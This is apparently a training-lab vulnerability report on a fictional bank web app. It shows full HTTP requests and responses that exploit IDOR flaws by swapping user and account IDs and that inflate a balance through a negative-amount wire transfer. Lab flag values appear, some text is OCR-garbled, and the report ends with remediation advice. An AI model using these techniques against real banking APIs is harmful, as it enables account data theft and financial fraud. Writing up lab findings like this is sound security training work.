CyberBank Vulnerability Report

Type: IDOR (Insecure Direct Object Reference) Vulnerability

Description:

The application was found to have an Insecure Direct Object Reference vulnerability, exposing sensitive user information through unprotected API endpoints. By modifying request parameters, unauthorized access to other users' account data and personal information was possible.

Impact:

This vulnerability enables unauthorized access to sensitive data, including account information and personal records, posing a risk for identity theft and financial fraud.

Affected OWASP Categories:

- A01:2021 Broken Access Control
- A02:2021 Cryptographic Failures
- A04:2021 Insecure Design
- A05:2021 Security Misconfiguration

Reproduction Steps

- 1. Log in as a DefaultUser:
 - Access the application with a default user account.
- 2. Identify an Insecure Endpoint:
 - Open Developer Tools in your browser and observe network requests made to the application's API.
 - Notably, requests to /api/customer/contacts, /api/accounts/info, /api/cards/info and /api/customer/info/me were unencrypted, resulting in A02:2021 Cryptographic Failures. exposing user's account.

```
▼ message:
  ▼ 0:

▼ accounts:
       - 0:
                         "737fa8cc34c649afb9cc361823d9ff3f"
       v 1:
           account id:
                          "900e3683355943b9903c2dbd5dfa70d7"
                          "dd89354ff8804c38bc86c35f0f20bd71"
                          1731264456
      created at:
     customer id:
                          "b6baff500ac245edb13e0ce85708f285"
      firstname:
                          "fc22eb8d25cd45fe8c2f2280b986943b"
      lastname:
      updated at:
                          1731264456
```

3. Exploit IDOR by Manipulating User ID:

- In Burp Suite's Repeater, modify the endpoint /api/customer/info/me to /api/customer/info/<account_id>.
- By substituting <account_id> with another user's ID, it's possible to access sensitive details of other users' accounts, confirming the presence of an IDOR vulnerability.

Request

```
Pretty Raw Hex

GET /api/customer/info/dd89354ff8804c38bc86c35f0f20bd7l HTTP/l.l

Host: web0x06.hbtn

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Fix Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/x=0.8

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br

Connection: keep-alive

Cookie: session=k5VaqaMFxIoIZTM5ACdUvz3Bb4yTnuDvnTBqqzfNBcw.LkFEowMz5BX
```

Response

```
Pretty
          Raw
                 Hex
                        Render
   HTTP/1.1 200 0K
  Server: nginx/1.22.1
  Date: Sun, 10 Nov 2024 19:17:26 GMT
3
  Content-Type: application/json
4
  Content-Length: 380
5
  Connection: keep-alive
7
  Vary: Cookie
     "flag_0":"f3554b6d07e15745781b29db79a13265",
     "message":{
       "accounts_id":[
         "737fa8cc34c649afb9cc361823d9ff3f",
         "900e3683355943b9903c2dbd5dfa70d7"
      ],
       "created_at":1731264440,
       "expenses":12514.4,
       "firstname":
       "id": "dd89354ff8804c38bc86c35f0f20bd71",
       "income":10950.1,
       "lastname":"
       "total balance":1564.3,
       "updated_at":1731264440,
       "username":
    },
     "status": "success"
```

1. Enumerating users's accounts balance

 With the information previously discover another request was send to /api/accounts/info/<account id> disclosing the account balance cards id and card number

Request

```
Pretty
         Raw
               Hex
  GET /api/accounts/info/737fa8cc34c649afb9cc361823d9ff3f HTTP/1.1
  Host: webuxub.hbth
3 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:128.0) Gecko/20100101 Firefox/128.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,i
  =0.8
  Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
  Response
             Raw
                            Render
   Pretty
                    Hex
    HTTP/1.1 200 0K
    Server: nginx/l.22.1
  3 Date: Sun, 10 Nov 2024 20:17:14 GMT
  4 | Content-Type: application/json
  5 | Content-Length: 336
    Connection: keep-alive
    Vary: Cookie
  7
  8
  9
       "flag_1": "f64234679978109a8df9fa3c7b183c0f",
       "message":{
         "cards_id":[
            "bfc798ad39c84f978ba935c77a9ba8df"
         ],
         "created at":1731264440,
         "customer id": "dd89354ff8804c38bc86c35f0f20bd71",
         "id": "737fa8cc34c649afb9cc361823d9ff3f",
         "number": "104400029551",
         "routing": "106190000",
         "updated at":1731264457
       },
       "status": "success"
 10
```

Manipulating Wire Transfers to Inflate Account Balance

- 1. **Initiate Unauthorized Transfer:** Initiate a transfer to a a user, change the body parameter in the repeater to male a wire transfer using negative values (e.g.,
 - -100000), resulting in a credit to your account.

```
Raw
Pretty
                Hex
 POST /api/accounts/transfer_to/737fa8cc34c649afb9cc361823d9ff3f HTTP/1.1
 Host: web0x06.hbtn
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
 Accept: */*
 Accept-Language: en-US, en; q=0.5
 Accept-Encoding: gzip, deflate, br
 Referer: http://web0x06.hbtn/dashboard
 Content-Type: application/json
 Content-Length: 128
 Origin: http://web0x06.hbtn
 Connection: keep-alive
 Cookie: session=k5VaqaMFxIoIZTM5ACdUvz3Bb4yTnuDvnTBqqzfNBcw.LkFEowMz5BX3hoFhZ1Hd4dmbVfU
 Priority: u=0
 {
      "amount": -100000,
       "raison":"same"
      "account id": "bba29bbd7bb7436e826f1c8f6b38feae",
      "routing": "106190009",
      "number": "107443133337"
 }
```

Response

```
Raw
                          Render
  Pretty
                  Hex
   HTTP/1.1 200 OK
    Server: nginx/1.22.1
   Date: Sun, 10 Nov 2024 20:42:50 GMT
   Content-Type: application/json
   Content-Length: 432
    Connection: keep-alive
   Vary: Cookie
   {
 9
         "message":{
              "amount":-100000,
              created_at":1731271370,
              "id":"0dc77db4b0a24e47a7304dd7b10afab6",
              "merchant name":
              "method": "wire",
              "raison":"same"
              "receiver id": "dd89354ff8804c38bc86c35f0f20bd71",
              "receiver_payment_id":"737fa8cc34c649afb9cc361823d9ff3f",
              "sender_id":"b6baff500ac245edb13e0ce85708f285",
              "sender_payment_id":"bba29bbd7bb7436e826flc8f6b38feae",
              "status": "completed",
              "updated_at":1731271370
         "status": "success"
10
```



Remediation Recommendations

1. Insecure Direct Object Reference (IDOR)

To prevent unauthorized access due to IDOR vulnerabilities, implement robust server-side access controls that validate user permissions before granting access to resources. Consider using unique identifiers, such as UUIDs, instead of sequential or predictable user IDs to make guessing or brute-forcing IDs more difficult. Additionally, ensure that each endpoint strictly enforces authorization checks based on user roles or permissions to protect sensitive data.

2. Cryptographic Failures

To address unencrypted data transmissions, ensure that all communications between the client and server use HTTPS/TLS for encryption in transit. This will protect sensitive data from interception by encrypting the requests and responses. Regularly update encryption protocols and avoid outdated cryptographic algorithms or weak ciphers. Implement HTTP security headers, like Strict-Transport-Security (HSTS), to enforce HTTPS across all sessions.

3. Security Misconfiguration

To reduce risks associated with misconfigurations, conduct a comprehensive security configuration review. Ensure that API endpoints have appropriate access control measures in place and remove any unnecessary or exposed endpoints. Regularly audit configurations to adhere to security best practices, including enforcing strict access control policies, keeping components updated, and disabling any development or testing configurations before deploying to production.

Conclusion

The vulnerabilities identified in this application highlight critical security risks that expose sensitive user information, allow unauthorized account access, and enable potentially harmful financial transactions. The findings demonstrate a need for improved security practices, including robust authorization controls, proper encryption of sensitive data, and secure configuration management. By addressing these weaknesses through the recommended remediations, the application can significantly reduce risks associated with Insecure Direct Object References (IDOR), Cryptographic Failures, and Security Misconfiguration. Implementing these changes will not only protect sensitive user information but also bolster the application's resilience against unauthorized access and data manipulation.

A comprehensive security approach, incorporating regular security assessments, secure development practices, and strict access control policies, is essential to maintaining the application's integrity and protecting user data. This will not only enhance user trust but also align the application with modern security standards, reducing the likelihood of future security incidents.